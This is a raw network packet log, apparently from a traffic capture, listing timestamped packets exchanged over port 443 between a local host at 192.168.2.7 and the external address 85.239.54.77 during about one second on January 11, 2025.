Jan 11, 2025 09:26:41.121059895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.121076107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.121123075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.121130943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.121644974 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.127437115 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.131783962 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.131798029 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.131870031 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.131901026 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.132605076 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.135134935 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.205410004 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.205430031 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.205566883 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.205590010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.206422091 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.206440926 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.206502914 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.206523895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.206541061 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.206572056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.206815004 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.206831932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.206885099 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.206893921 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.207308054 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.207333088 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.207379103 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.207386971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.207402945 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.207433939 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.207829952 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.207844973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.207897902 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.207914114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.207923889 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.207947016 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.207988024 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.208683014 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.208698034 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.208754063 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.208762884 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.213355064 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.218646049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.218666077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.218736887 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.218746901 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.220737934 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.220772982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.292243004 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.292277098 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.292349100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.292377949 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.292429924 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.292671919 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.292699099 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.292702913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.292722940 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.292726040 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.292753935 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.292787075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.293174982 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.293190002 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.293224096 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.293231010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.293251038 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.293289900 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.293734074 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.293750048 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.293797016 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.293807983 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.294384956 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.294404984 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.294433117 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.294440985 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.294455051 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.294486046 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.294778109 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.294796944 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.294831038 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.294836998 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.294851065 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.295576096 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.295593977 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.295646906 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.295646906 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.295655012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.295686007 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.301239967 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.305485964 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.305531025 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.305577040 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.305583000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.305618048 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.305675983 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.309798956 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.379040003 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.379075050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.379116058 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.379127026 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.379156113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.379170895 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.379960060 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.379980087 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.380007029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.380013943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.380039930 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.380052090 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.380403042 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.380423069 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.380449057 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.380455017 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.380484104 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.380490065 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.380894899 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.380917072 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.380945921 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.380951881 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.380969048 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.380992889 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.381261110 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.381280899 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.381310940 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.381318092 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.381359100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.381359100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.381699085 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.381716967 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.381742954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.381747961 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.381768942 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.381791115 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.382339954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.382384062 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.382409096 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.382416010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.382440090 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.382460117 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.386404037 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.392328978 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.392357111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.392412901 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.392420053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.392448902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.392472982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.394433975 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.466200113 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.466265917 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.466288090 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.466319084 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.466334105 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.466362000 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.466762066 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.466819048 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.466840982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.466852903 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.466872931 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.466896057 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.466984987 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.467051983 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.467067003 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.467075109 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.467102051 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.467118979 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.467586040 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.467631102 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.467649937 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.467657089 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.467675924 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.467699051 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.467932940 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.467972994 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.467984915 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.467993021 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.468004942 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.468033075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.468573093 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.468614101 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.468632936 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.468642950 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.468667984 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.468688965 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.469461918 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.469504118 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.469542980 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.469548941 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.469572067 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.469587088 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.476259947 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.479192972 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.479237080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.479266882 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.479274035 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.479299068 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.479336023 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.485088110 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.552758932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.552784920 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.552860975 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.552891016 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.553265095 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.553292036 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.553328991 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.553338051 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.553365946 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.553392887 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.553843975 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.553865910 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.553900003 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.553906918 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.553929090 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.553956032 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.554307938 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.554332972 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.554369926 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.554378033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.554400921 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.554421902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.554775000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.554797888 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.554838896 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.554847956 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.554872990 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.554893970 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.555262089 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.555282116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.555330992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.555336952 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.555354118 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.556103945 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.556123972 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.556162119 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.556170940 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.556189060 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.556216955 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.561197042 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.566046953 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.566093922 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.566150904 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.566158056 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.566183090 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.566212893 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.569417953 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.639704943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.639745951 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.639807940 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.639838934 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.639857054 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.639874935 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.640052080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.640073061 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.640136003 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.640144110 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.640167952 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.640185118 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.640580893 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.640604019 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.640860081 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.640866995 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.640918016 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.641067028 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.641087055 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.641134977 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.641141891 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.641262054 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.641715050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.641733885 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.641792059 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.641798019 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.641820908 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.641870022 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.642091036 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.642108917 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.642138004 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.642143011 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.642163038 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.642184019 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.642961979 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.642980099 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.643023968 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.643029928 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.643054962 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.643069983 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.647921085 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.652651072 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.652669907 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.652719975 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.652728081 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.654545069 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.656445980 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.726454973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.726489067 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.726608038 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.726623058 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.726957083 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.726979971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.727011919 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.727019072 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.727030039 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.727055073 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.727444887 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.727467060 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.727504015 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.727509022 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.727524996 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.727552891 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.728090048 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.728110075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.728137016 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.728142023 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.728163004 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.728174925 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.728513956 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.728535891 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.728578091 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.728585958 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.728599072 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.728871107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.728897095 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.729305029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.729305029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.729314089 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.729404926 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.729422092 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.729449034 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.729455948 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.729481936 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.729500055 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.738290071 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.738322020 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.739460945 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.739492893 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.739532948 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.739542007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.739581108 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.747248888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:41.813216925 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.813249111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:41.813364029 CET	49941	443	192.168.2.7	85.239.54.77
